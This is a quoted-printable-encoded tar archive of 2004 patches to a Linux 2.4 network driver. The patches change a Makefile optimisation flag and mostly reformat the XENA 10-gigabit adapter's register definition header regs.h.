=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00--- = prevsub/Makefile Fri Feb 13 17:33:27 2004=0A= +++ 0213/Makefile Fri Feb 13 17:19:43 2004=0A= @@ -42,7 +42,7 @@ endif=0A= ifeq ($(INCLUDEDIR),2.4)=0A= # Default flags for ia64, alpha, x86_64, i686 & ppc64=0A= CFLAGS=3D -DMODULE -D__KERNEL__ -I/usr/src/linux-$(INCLUDEDIR)/include = -Wall\=0A= - -Wstrict-prototypes -O6 =0A= + -Wstrict-prototypes -O2=0A= =0A= ifeq ($(ARCH),alpha)=0A= CFLAGS+=3D-ffixed-8 -mno-fp-regs -pipe -O2=0A= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00regs.h.= patch=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=000100644=000000000=000000000=00= 00000074147=0010013276463=00012003=00 = 0=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00ustar = =00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00--- = prevsub/regs.h Fri Feb 13 17:33:27 2004=0A= +++ 0213/regs.h Fri Feb 13 17:19:43 2004=0A= @@ -15,12 +15,11 @@=0A= =0A= #define TBD 0=0A= =0A= -typedef struct _XENA_dev_config =0A= -{=0A= +typedef struct _XENA_dev_config {=0A= /* Convention: mHAL_XXX is mask, vHAL_XXX is value */=0A= =0A= /* General Control-Status Registers */=0A= - u64 general_int_status;=0A= + u64 general_int_status;=0A= #define GEN_INTR_TXPIC BIT(0)=0A= #define GEN_INTR_TXDMA BIT(1)=0A= #define GEN_INTR_TXMAC BIT(2)=0A= @@ -36,13 +35,13 @@ typedef struct _XENA_dev_config =0A= GEN_INTR_TXDMA | GEN_INTR_RXDMA | \=0A= GEN_INTR_TXMAC | GEN_INTR_RXMAC | \=0A= GEN_INTR_TXXGXS| GEN_INTR_RXXGXS| \=0A= - GEN_INTR_MC =0A= + GEN_INTR_MC=0A= =0A= - u64 general_int_mask;=0A= + u64 general_int_mask;=0A= =0A= - u8 unused0[0x100 - 0x10];=0A= + u8 unused0[0x100 - 0x10];=0A= =0A= - u64 sw_reset;=0A= + u64 sw_reset;=0A= /* XGXS must be removed from reset only once. */=0A= #define SW_RESET_XENA vBIT(0xA5,0,8)=0A= #define SW_RESET_FLASH vBIT(0xA5,8,8)=0A= @@ -50,12 +49,11 @@ typedef struct _XENA_dev_config =0A= #define SW_RESET_ALL (SW_RESET_XENA | \=0A= SW_RESET_FLASH | \=0A= SW_RESET_EOI)=0A= -#define SW_RESET_RAW_VAL 0xA5000000 /* The SW_RESET register must =0A= - read this value after a =0A= - successful reset. */=0A= - =0A= +/* The SW_RESET register must read this value after a successful reset. = */=0A= +#define SW_RESET_RAW_VAL 0xA5000000=0A= =0A= - u64 adapter_status;=0A= +=0A= + u64 adapter_status;=0A= #define ADAPTER_STATUS_TDMA_READY BIT(0)=0A= #define ADAPTER_STATUS_RDMA_READY BIT(1)=0A= #define ADAPTER_STATUS_PFC_READY BIT(2)=0A= @@ -70,7 +68,7 @@ typedef struct _XENA_dev_config =0A= #define ADAPTER_STATUS_M_PLL_LOCK BIT(30)=0A= #define ADAPTER_STATUS_P_PLL_LOCK BIT(31)=0A= =0A= - u64 adapter_control;=0A= + u64 adapter_control;=0A= #define ADAPTER_CNTL_EN BIT(7)=0A= #define ADAPTER_EOI_TX_ON BIT(15)=0A= #define ADAPTER_LED_ON BIT(23)=0A= @@ -78,7 +76,7 @@ typedef struct _XENA_dev_config =0A= #define ADAPTER_WAIT_INT BIT(48)=0A= #define ADAPTER_ECC_EN BIT(55)=0A= =0A= - u64 serr_source;=0A= + u64 serr_source;=0A= #define SERR_SOURCE_PIC BIT(0)=0A= #define SERR_SOURCE_TXDMA BIT(1)=0A= #define SERR_SOURCE_RXDMA BIT(2)=0A= @@ -91,13 +89,13 @@ typedef struct _XENA_dev_config =0A= SERR_SOURCE_MAC | \=0A= SERR_SOURCE_MC | \=0A= SERR_SOURCE_XGXS)=0A= - =0A= =0A= - u8 unused_0[0x800-0x120];=0A= +=0A= + u8 unused_0[0x800 - 0x120];=0A= =0A= /* PCI-X Controller registers */=0A= - u64 pic_int_status;=0A= - u64 pic_int_mask;=0A= + u64 pic_int_status;=0A= + u64 pic_int_mask;=0A= #define PIC_INT_TX BIT(0)=0A= #define PIC_INT_FLSH BIT(1)=0A= #define PIC_INT_MDIO BIT(2)=0A= @@ -105,8 +103,8 @@ typedef struct _XENA_dev_config =0A= #define PIC_INT_GPIO BIT(4)=0A= #define PIC_INT_RX BIT(32)=0A= =0A= - u64 txpic_int_reg;=0A= - u64 txpic_int_mask;=0A= + u64 txpic_int_reg;=0A= + u64 txpic_int_mask;=0A= #define PCIX_INT_REG_ECC_SG_ERR BIT(0)=0A= #define PCIX_INT_REG_ECC_DB_ERR BIT(1)=0A= #define PCIX_INT_REG_FLASHR_R_FSM_ERR BIT(8)=0A= @@ -125,55 +123,55 @@ typedef struct _XENA_dev_config =0A= #define PCIX_INT_REG_RRC_RX_REQ_FSM_SERR BIT(54)=0A= #define PCIX_INT_REG_RRC_RX_SPLIT_FSM_SERR BIT(58)=0A= */=0A= - u64 txpic_alarms;=0A= - u64 rxpic_int_reg;=0A= - u64 rxpic_int_mask;=0A= - u64 rxpic_alarms;=0A= - =0A= - u64 flsh_int_reg;=0A= - u64 flsh_int_mask;=0A= + u64 txpic_alarms;=0A= + u64 rxpic_int_reg;=0A= + u64 rxpic_int_mask;=0A= + u64 rxpic_alarms;=0A= +=0A= + u64 flsh_int_reg;=0A= + u64 flsh_int_mask;=0A= #define PIC_FLSH_INT_REG_CYCLE_FSM_ERR BIT(63)=0A= #define PIC_FLSH_INT_REG_ERR BIT(62)=0A= - u64 flash_alarms;=0A= + u64 flash_alarms;=0A= =0A= - u64 mdio_int_reg;=0A= - u64 mdio_int_mask;=0A= + u64 mdio_int_reg;=0A= + u64 mdio_int_mask;=0A= #define MDIO_INT_REG_MDIO_BUS_ERR BIT(0)=0A= #define MDIO_INT_REG_DTX_BUS_ERR BIT(8)=0A= #define MDIO_INT_REG_LASI BIT(39)=0A= - u64 mdio_alarms;=0A= - =0A= - u64 iic_int_reg; =0A= - u64 iic_int_mask; =0A= + u64 mdio_alarms;=0A= +=0A= + u64 iic_int_reg;=0A= + u64 iic_int_mask;=0A= #define IIC_INT_REG_BUS_FSM_ERR BIT(4)=0A= #define IIC_INT_REG_BIT_FSM_ERR BIT(5)=0A= #define IIC_INT_REG_CYCLE_FSM_ERR BIT(6)=0A= #define IIC_INT_REG_REQ_FSM_ERR BIT(7)=0A= #define IIC_INT_REG_ACK_ERR BIT(8)=0A= - u64 iic_alarms; =0A= + u64 iic_alarms;=0A= =0A= - u8 unused4[0x08];=0A= + u8 unused4[0x08];=0A= =0A= - u64 gpio_int_reg;=0A= - u64 gpio_int_mask;=0A= - u64 gpio_alarms;=0A= + u64 gpio_int_reg;=0A= + u64 gpio_int_mask;=0A= + u64 gpio_alarms;=0A= =0A= - u8 unused5[0x38];=0A= + u8 unused5[0x38];=0A= =0A= - u64 tx_traffic_int;=0A= + u64 tx_traffic_int;=0A= #define TX_TRAFFIC_INT_n(n) BIT(n)=0A= - u64 tx_traffic_mask;=0A= + u64 tx_traffic_mask;=0A= =0A= - u64 rx_traffic_int;=0A= + u64 rx_traffic_int;=0A= #define RX_TRAFFIC_INT_n(n) BIT(n)=0A= - u64 rx_traffic_mask;=0A= + u64 rx_traffic_mask;=0A= =0A= /* PIC Control registers */=0A= - u64 pic_control;=0A= + u64 pic_control;=0A= #define PIC_CNTL_RX_ALARM_MAP_1 BIT(0)=0A= #define PIC_CNTL_SHARED_SPLITS(n) vBIT(n,11,4)=0A= =0A= - u64 swapper_ctrl;=0A= + u64 swapper_ctrl;=0A= #define SWAPPER_CTRL_PIF_R_FE BIT(0)=0A= #define SWAPPER_CTRL_PIF_R_SE BIT(1)=0A= #define SWAPPER_CTRL_PIF_W_FE BIT(8)=0A= @@ -197,50 +195,50 @@ typedef struct _XENA_dev_config =0A= #define SWAPPER_CTRL_STATS_FE BIT(48)=0A= #define SWAPPER_CTRL_STATS_SE BIT(49)=0A= =0A= - u64 pif_rd_swapper_fb;=0A= + u64 pif_rd_swapper_fb;=0A= #define IF_RD_SWAPPER_FB 0x0123456789ABCDEF=0A= =0A= - u64 scheduled_int_ctrl;=0A= + u64 scheduled_int_ctrl;=0A= #define SCHED_INT_CTRL_TIMER_EN BIT(0)=0A= #define SCHED_INT_CTRL_ONE_SHOT BIT(1)=0A= #define SCHED_INT_CTRL_INT2MSI TBD=0A= #define SCHED_INT_PERIOD TBD=0A= =0A= - u64 txreqtimeout;=0A= + u64 txreqtimeout;=0A= #define TXREQTO_VAL(val) vBIT(val,0,32)=0A= #define TXREQTO_EN BIT(63)=0A= =0A= - u64 statsreqtimeout;=0A= + u64 statsreqtimeout;=0A= #define STATREQTO_VAL(n) TBD=0A= #define STATREQTO_EN BIT(63)=0A= =0A= - u64 read_retry_delay;=0A= - u64 read_retry_acceleration;=0A= - u64 write_retry_delay;=0A= - u64 write_retry_acceleration;=0A= -=0A= - u64 xmsi_control;=0A= - u64 xmsi_access;=0A= - u64 xmsi_address;=0A= - u64 xmsi_data;=0A= -=0A= - u64 rx_mat;=0A= -=0A= - u8 unused6[0x8];=0A= -=0A= - u64 tx_mat0_7;=0A= - u64 tx_mat8_15;=0A= - u64 tx_mat16_23;=0A= - u64 tx_mat24_31;=0A= - u64 tx_mat32_39;=0A= - u64 tx_mat40_47;=0A= - u64 tx_mat48_55;=0A= - u64 tx_mat56_63;=0A= + u64 read_retry_delay;=0A= + u64 read_retry_acceleration;=0A= + u64 write_retry_delay;=0A= + u64 write_retry_acceleration;=0A= +=0A= + u64 xmsi_control;=0A= + u64 xmsi_access;=0A= + u64 xmsi_address;=0A= + u64 xmsi_data;=0A= +=0A= + u64 rx_mat;=0A= +=0A= + u8 unused6[0x8];=0A= +=0A= + u64 tx_mat0_7;=0A= + u64 tx_mat8_15;=0A= + u64 tx_mat16_23;=0A= + u64 tx_mat24_31;=0A= + u64 tx_mat32_39;=0A= + u64 tx_mat40_47;=0A= + u64 tx_mat48_55;=0A= + u64 tx_mat56_63;=0A= =0A= - u8 unused_1[0x10];=0A= + u8 unused_1[0x10];=0A= =0A= - /* Automated statistics collection */=0A= - u64 stat_cfg;=0A= + /* Automated statistics collection */=0A= + u64 stat_cfg;=0A= #define STAT_CFG_STAT_EN BIT(0)=0A= #define STAT_CFG_ONE_SHOT_EN BIT(1)=0A= #define STAT_CFG_STAT_NS_EN BIT(8)=0A= @@ -249,14 +247,14 @@ typedef struct _XENA_dev_config =0A= #define PER_SEC 0x208d5=0A= #define SET_UPDT_PERIOD(n) vBIT((PER_SEC*n),32,32)=0A= =0A= - u64 stat_addr;=0A= + u64 stat_addr;=0A= =0A= - /* General Configuration */=0A= - u64 mdio_control;=0A= + /* General Configuration */=0A= + u64 mdio_control;=0A= =0A= - u64 dtx_control;=0A= + u64 dtx_control;=0A= =0A= - u64 i2c_control;=0A= + u64 i2c_control;=0A= #define I2C_CONTROL_DEV_ID(id) vBIT(id,1,3)=0A= #define I2C_CONTROL_ADDR(addr) vBIT(addr,5,11)=0A= #define I2C_CONTROL_BYTE_CNT(cnt) vBIT(cnt,22,2)=0A= @@ -267,13 +265,14 @@ typedef struct _XENA_dev_config =0A= #define I2C_CONTROL_GET_DATA(val) (u32)(val & 0xFFFFFFFF)=0A= #define I2C_CONTROL_SET_DATA(val) vBIT(val,32,32)=0A= =0A= - u64 gpio_control;=0A= + u64 gpio_control;=0A= +#define GPIO_CTRL_GPIO_0 BIT(8)=0A= =0A= - u8 unused7[0x600];=0A= + u8 unused7[0x600];=0A= =0A= /* TxDMA registers */=0A= - u64 txdma_int_status;=0A= - u64 txdma_int_mask;=0A= + u64 txdma_int_status;=0A= + u64 txdma_int_mask;=0A= #define TXDMA_PFC_INT BIT(0)=0A= #define TXDMA_TDA_INT BIT(1)=0A= #define TXDMA_PCC_INT BIT(2)=0A= @@ -281,89 +280,89 @@ typedef struct _XENA_dev_config =0A= #define TXDMA_LSO_INT BIT(4)=0A= #define TXDMA_TPA_INT BIT(5)=0A= #define TXDMA_SM_INT BIT(6)=0A= - u64 pfc_err_reg;=0A= - u64 pfc_err_mask;=0A= - u64 pfc_err_alarm;=0A= -=0A= - u64 tda_err_reg;=0A= - u64 tda_err_mask;=0A= - u64 tda_err_alarm;=0A= - =0A= - u64 pcc_err_reg;=0A= - u64 pcc_err_mask;=0A= - u64 pcc_err_alarm;=0A= -=0A= - u64 tti_err_reg;=0A= - u64 tti_err_mask;=0A= - u64 tti_err_alarm;=0A= -=0A= - u64 lso_err_reg;=0A= - u64 lso_err_mask;=0A= - u64 lso_err_alarm;=0A= -=0A= - u64 tpa_err_reg;=0A= - u64 tpa_err_mask;=0A= - u64 tpa_err_alarm;=0A= -=0A= - u64 sm_err_reg;=0A= - u64 sm_err_mask;=0A= - u64 sm_err_alarm;=0A= + u64 pfc_err_reg;=0A= + u64 pfc_err_mask;=0A= + u64 pfc_err_alarm;=0A= +=0A= + u64 tda_err_reg;=0A= + u64 tda_err_mask;=0A= + u64 tda_err_alarm;=0A= +=0A= + u64 pcc_err_reg;=0A= + u64 pcc_err_mask;=0A= + u64 pcc_err_alarm;=0A= +=0A= + u64 tti_err_reg;=0A= + u64 tti_err_mask;=0A= + u64 tti_err_alarm;=0A= +=0A= + u64 lso_err_reg;=0A= + u64 lso_err_mask;=0A= + u64 lso_err_alarm;=0A= +=0A= + u64 tpa_err_reg;=0A= + u64 tpa_err_mask;=0A= + u64 tpa_err_alarm;=0A= +=0A= + u64 sm_err_reg;=0A= + u64 sm_err_mask;=0A= + u64 sm_err_alarm;=0A= =0A= - u8 unused8[0x100-0xB8];=0A= + u8 unused8[0x100 - 0xB8];=0A= =0A= /* TxDMA arbiter */=0A= - u64 tx_dma_wrap_stat;=0A= + u64 tx_dma_wrap_stat;=0A= =0A= /* Tx FIFO controller */=0A= #define X_MAX_FIFOS 8=0A= -#define X_FIFO_MAX_LEN 0x1FFF /*8191*/=0A= - u64 tx_fifo_partition_0;=0A= +#define X_FIFO_MAX_LEN 0x1FFF /*8191 */=0A= + u64 tx_fifo_partition_0;=0A= #define TX_FIFO_PARTITION_EN BIT(0)=0A= #define TX_FIFO_PARTITION_0_PRI(val) vBIT(val,5,3)=0A= #define TX_FIFO_PARTITION_0_LEN(val) vBIT(val,19,13)=0A= #define TX_FIFO_PARTITION_1_PRI(val) vBIT(val,37,3)=0A= #define TX_FIFO_PARTITION_1_LEN(val) vBIT(val,51,13 )=0A= =0A= - u64 tx_fifo_partition_1;=0A= + u64 tx_fifo_partition_1;=0A= #define TX_FIFO_PARTITION_2_PRI(val) vBIT(val,5,3)=0A= #define TX_FIFO_PARTITION_2_LEN(val) vBIT(val,19,13)=0A= #define TX_FIFO_PARTITION_3_PRI(val) vBIT(val,37,3)=0A= #define TX_FIFO_PARTITION_3_LEN(val) vBIT(val,51,13)=0A= =0A= - u64 tx_fifo_partition_2;=0A= + u64 tx_fifo_partition_2;=0A= #define TX_FIFO_PARTITION_4_PRI(val) vBIT(val,5,3)=0A= #define TX_FIFO_PARTITION_4_LEN(val) vBIT(val,19,13)=0A= #define TX_FIFO_PARTITION_5_PRI(val) vBIT(val,37,3)=0A= #define TX_FIFO_PARTITION_5_LEN(val) vBIT(val,51,13)=0A= =0A= - u64 tx_fifo_partition_3;=0A= + u64 tx_fifo_partition_3;=0A= #define TX_FIFO_PARTITION_6_PRI(val) vBIT(val,5,3)=0A= #define TX_FIFO_PARTITION_6_LEN(val) vBIT(val,19,13)=0A= #define TX_FIFO_PARTITION_7_PRI(val) vBIT(val,37,3)=0A= #define TX_FIFO_PARTITION_7_LEN(val) vBIT(val,51,13)=0A= =0A= -#define TX_FIFO_PARTITION_PRI_0 0 /* highest */=0A= -#define TX_FIFO_PARTITION_PRI_1 1 =0A= -#define TX_FIFO_PARTITION_PRI_2 2 =0A= -#define TX_FIFO_PARTITION_PRI_3 3 =0A= -#define TX_FIFO_PARTITION_PRI_4 4 =0A= +#define TX_FIFO_PARTITION_PRI_0 0 /* highest */=0A= +#define TX_FIFO_PARTITION_PRI_1 1=0A= +#define TX_FIFO_PARTITION_PRI_2 2=0A= +#define TX_FIFO_PARTITION_PRI_3 3=0A= +#define TX_FIFO_PARTITION_PRI_4 4=0A= #define TX_FIFO_PARTITION_PRI_5 5=0A= #define TX_FIFO_PARTITION_PRI_6 6=0A= -#define TX_FIFO_PARTITION_PRI_7 7 /* lowest */=0A= +#define TX_FIFO_PARTITION_PRI_7 7 /* lowest */=0A= =0A= - u64 tx_w_round_robin_0;=0A= - u64 tx_w_round_robin_1;=0A= - u64 tx_w_round_robin_2;=0A= - u64 tx_w_round_robin_3;=0A= - u64 tx_w_round_robin_4;=0A= + u64 tx_w_round_robin_0;=0A= + u64 tx_w_round_robin_1;=0A= + u64 tx_w_round_robin_2;=0A= + u64 tx_w_round_robin_3;=0A= + u64 tx_w_round_robin_4;=0A= =0A= - u64 tti_command_mem;=0A= + u64 tti_command_mem;=0A= #define TTI_CMD_MEM_WE BIT(7)=0A= #define TTI_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= #define TTI_CMD_MEM_STROBE_BEING_EXECUTED BIT(15)=0A= #define TTI_CMD_MEM_OFFSET(n) vBIT(n,26,6)=0A= =0A= - u64 tti_data1_mem;=0A= + u64 tti_data1_mem;=0A= #define TTI_DATA1_MEM_TX_TIMER_VAL(n) vBIT(n,6,26)=0A= #define TTI_DATA1_MEM_TX_TIMER_AC_CI(n) vBIT(n,38,2)=0A= #define TTI_DATA1_MEM_TX_TIMER_AC_EN BIT(38)=0A= @@ -372,14 +371,14 @@ typedef struct _XENA_dev_config =0A= #define TTI_DATA1_MEM_TX_URNG_B(n) vBIT(n,49,7)=0A= #define TTI_DATA1_MEM_TX_URNG_C(n) vBIT(n,57,7)=0A= =0A= - u64 tti_data2_mem;=0A= + u64 tti_data2_mem;=0A= #define TTI_DATA2_MEM_TX_UFC_A(n) vBIT(n,0,16)=0A= #define TTI_DATA2_MEM_TX_UFC_B(n) vBIT(n,16,16)=0A= #define TTI_DATA2_MEM_TX_UFC_C(n) vBIT(n,32,16)=0A= #define TTI_DATA2_MEM_TX_UFC_D(n) vBIT(n,48,16)=0A= =0A= /* Tx Protocol assist */=0A= - u64 tx_pa_cfg;=0A= + u64 tx_pa_cfg;=0A= #define TX_PA_CFG_IGNORE_FRM_ERR BIT(1)=0A= #define TX_PA_CFG_IGNORE_SNAP_OUI BIT(2)=0A= #define TX_PA_CFG_IGNORE_LLC_CTRL BIT(3)=0A= @@ -388,44 +387,44 @@ typedef struct _XENA_dev_config =0A= /* Recent add, used only debug purposes. */=0A= u64 pcc_enable;=0A= =0A= - u8 unused9[0x700-0x178];=0A= - =0A= - u64 txdma_debug_ctrl; /*TODO: 1.5 Spec does not mention this = register any more*/=0A= - =0A= - u8 unused10[0x1800-0x1708];=0A= + u8 unused9[0x700 - 0x178];=0A= +=0A= + u64 txdma_debug_ctrl;=0A= +=0A= + u8 unused10[0x1800 - 0x1708];=0A= =0A= /* RxDMA Registers */=0A= - u64 rxdma_int_status;=0A= - u64 rxdma_int_mask;=0A= + u64 rxdma_int_status;=0A= + u64 rxdma_int_mask;=0A= #define RXDMA_INT_RC_INT_M BIT(0)=0A= #define RXDMA_INT_RPA_INT_M BIT(1)=0A= #define RXDMA_INT_RDA_INT_M BIT(2)=0A= #define RXDMA_INT_RTI_INT_M BIT(3)=0A= =0A= - u64 rda_err_reg;=0A= - u64 rda_err_mask;=0A= - u64 rda_err_alarm;=0A= -=0A= - u64 rc_err_reg;=0A= - u64 rc_err_mask;=0A= - u64 rc_err_alarm;=0A= -=0A= - u64 prc_pcix_err_reg;=0A= - u64 prc_pcix_err_mask;=0A= - u64 prc_pcix_err_alarm;=0A= -=0A= - u64 rpa_err_reg;=0A= - u64 rpa_err_mask;=0A= - u64 rpa_err_alarm;=0A= -=0A= - u64 rti_err_reg;=0A= - u64 rti_err_mask;=0A= - u64 rti_err_alarm;=0A= + u64 rda_err_reg;=0A= + u64 rda_err_mask;=0A= + u64 rda_err_alarm;=0A= +=0A= + u64 rc_err_reg;=0A= + u64 rc_err_mask;=0A= + u64 rc_err_alarm;=0A= +=0A= + u64 prc_pcix_err_reg;=0A= + u64 prc_pcix_err_mask;=0A= + u64 prc_pcix_err_alarm;=0A= +=0A= + u64 rpa_err_reg;=0A= + u64 rpa_err_mask;=0A= + u64 rpa_err_alarm;=0A= +=0A= + u64 rti_err_reg;=0A= + u64 rti_err_mask;=0A= + u64 rti_err_alarm;=0A= =0A= - u8 unused11[0x100-0x88];=0A= + u8 unused11[0x100 - 0x88];=0A= =0A= /* DMA arbiter */=0A= - u64 rx_queue_priority;=0A= + u64 rx_queue_priority;=0A= #define RX_QUEUE_0_PRIORITY(val) vBIT(val,5,3)=0A= #define RX_QUEUE_1_PRIORITY(val) vBIT(val,13,3)=0A= #define RX_QUEUE_2_PRIORITY(val) vBIT(val,21,3)=0A= @@ -435,29 +434,29 @@ typedef struct _XENA_dev_config =0A= #define RX_QUEUE_6_PRIORITY(val) vBIT(val,53,3)=0A= #define RX_QUEUE_7_PRIORITY(val) vBIT(val,61,3)=0A= =0A= -#define RX_QUEUE_PRI_0 0 /* highest */=0A= -#define RX_QUEUE_PRI_1 1 =0A= -#define RX_QUEUE_PRI_2 2 =0A= -#define RX_QUEUE_PRI_3 3 =0A= -#define RX_QUEUE_PRI_4 4 =0A= -#define RX_QUEUE_PRI_5 5 =0A= -#define RX_QUEUE_PRI_6 6 =0A= -#define RX_QUEUE_PRI_7 7 /* lowest */ =0A= -=0A= - u64 rx_w_round_robin_0;=0A= - u64 rx_w_round_robin_1;=0A= - u64 rx_w_round_robin_2;=0A= - u64 rx_w_round_robin_3;=0A= - u64 rx_w_round_robin_4;=0A= +#define RX_QUEUE_PRI_0 0 /* highest */=0A= +#define RX_QUEUE_PRI_1 1=0A= +#define RX_QUEUE_PRI_2 2=0A= +#define RX_QUEUE_PRI_3 3=0A= +#define RX_QUEUE_PRI_4 4=0A= +#define RX_QUEUE_PRI_5 5=0A= +#define RX_QUEUE_PRI_6 6=0A= +#define RX_QUEUE_PRI_7 7 /* lowest */=0A= +=0A= + u64 rx_w_round_robin_0;=0A= + u64 rx_w_round_robin_1;=0A= + u64 rx_w_round_robin_2;=0A= + u64 rx_w_round_robin_3;=0A= + u64 rx_w_round_robin_4;=0A= =0A= - /* Per-ring controller regs */=0A= + /* Per-ring controller regs */=0A= #define RX_MAX_RINGS 8=0A= #if 0=0A= -#define RX_MAX_RINGS_SZ 0xFFFF /* 65536 */ =0A= -#define RX_MIN_RINGS_SZ 0x3F /* 63 */ =0A= +#define RX_MAX_RINGS_SZ 0xFFFF /* 65536 */=0A= +#define RX_MIN_RINGS_SZ 0x3F /* 63 */=0A= #endif=0A= - u64 prc_rxd0_n[RX_MAX_RINGS];=0A= - u64 prc_ctrl_n[RX_MAX_RINGS];=0A= + u64 prc_rxd0_n[RX_MAX_RINGS];=0A= + u64 prc_ctrl_n[RX_MAX_RINGS];=0A= #define PRC_CTRL_RC_ENABLED BIT(7)=0A= #define PRC_CTRL_RING_MODE (BIT(14)|BIT(15))=0A= #define PRC_CTRL_RING_MODE_1 vBIT(0,14,2)=0A= @@ -469,7 +468,7 @@ typedef struct _XENA_dev_config =0A= #define PRC_CTRL_NO_SNOOP_BUFF BIT(23)=0A= #define PRC_CTRL_RXD_BACKOFF_INTERVAL(val) vBIT(val,40,24)=0A= =0A= - u64 prc_alarm_action;=0A= + u64 prc_alarm_action;=0A= #define PRC_ALARM_ACTION_RR_R0_STOP BIT(3)=0A= #define PRC_ALARM_ACTION_RW_R0_STOP BIT(7)=0A= #define PRC_ALARM_ACTION_RR_R1_STOP BIT(11)=0A= @@ -488,14 +487,14 @@ typedef struct _XENA_dev_config =0A= #define PRC_ALARM_ACTION_RW_R7_STOP BIT(63)=0A= =0A= /* Receive traffic interrupts */=0A= - u64 rti_command_mem;=0A= + u64 rti_command_mem;=0A= #define RTI_CMD_MEM_WE BIT(7)=0A= #define RTI_CMD_MEM_STROBE BIT(15)=0A= #define RTI_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= #define RTI_CMD_MEM_STROBE_CMD_BEING_EXECUTED BIT(15)=0A= #define RTI_CMD_MEM_OFFSET(n) vBIT(n,29,3)=0A= =0A= - u64 rti_data1_mem;=0A= + u64 rti_data1_mem;=0A= #define RTI_DATA1_MEM_RX_TIMER_VAL(n) vBIT(n,3,29)=0A= #define RTI_DATA1_MEM_RX_TIMER_AC_EN BIT(38)=0A= #define RTI_DATA1_MEM_RX_TIMER_CI_EN BIT(39)=0A= @@ -503,49 +502,49 @@ typedef struct _XENA_dev_config =0A= #define RTI_DATA1_MEM_RX_URNG_B(n) vBIT(n,49,7)=0A= #define RTI_DATA1_MEM_RX_URNG_C(n) vBIT(n,57,7)=0A= =0A= - u64 rti_data2_mem;=0A= + u64 rti_data2_mem;=0A= #define RTI_DATA2_MEM_RX_UFC_A(n) vBIT(n,0,16)=0A= #define RTI_DATA2_MEM_RX_UFC_B(n) vBIT(n,16,16)=0A= #define RTI_DATA2_MEM_RX_UFC_C(n) vBIT(n,32,16)=0A= #define RTI_DATA2_MEM_RX_UFC_D(n) vBIT(n,48,16)=0A= =0A= - u64 rx_pa_cfg;=0A= + u64 rx_pa_cfg;=0A= #define RX_PA_CFG_IGNORE_FRM_ERR BIT(1)=0A= #define RX_PA_CFG_IGNORE_SNAP_OUI BIT(2)=0A= #define RX_PA_CFG_IGNORE_LLC_CTRL BIT(3)=0A= =0A= - u8 unused12[0x700-0x1D8];=0A= + u8 unused12[0x700 - 0x1D8];=0A= =0A= - u64 rxdma_debug_ctrl; /* TODO: In 1.5 spec this register is = missing. */=0A= + u64 rxdma_debug_ctrl;=0A= =0A= - u8 unused13[0x2000-0x1f08];=0A= + u8 unused13[0x2000 - 0x1f08];=0A= =0A= /* Media Access Controller Register */=0A= - u64 mac_int_status;=0A= - u64 mac_int_mask;=0A= + u64 mac_int_status;=0A= + u64 mac_int_mask;=0A= #define MAC_INT_STATUS_TMAC_INT BIT(0)=0A= #define MAC_INT_STATUS_RMAC_INT BIT(1)=0A= =0A= - u64 mac_tmac_err_reg;=0A= + u64 mac_tmac_err_reg;=0A= #define TMAC_ERR_REG_TMAC_ECC_DB_ERR BIT(15)=0A= #define TMAC_ERR_REG_TMAC_TX_BUF_OVRN BIT(23)=0A= #define TMAC_ERR_REG_TMAC_TX_CRI_ERR BIT(31)=0A= - u64 mac_tmac_err_mask;=0A= - u64 mac_tmac_err_alarm;=0A= + u64 mac_tmac_err_mask;=0A= + u64 mac_tmac_err_alarm;=0A= =0A= - u64 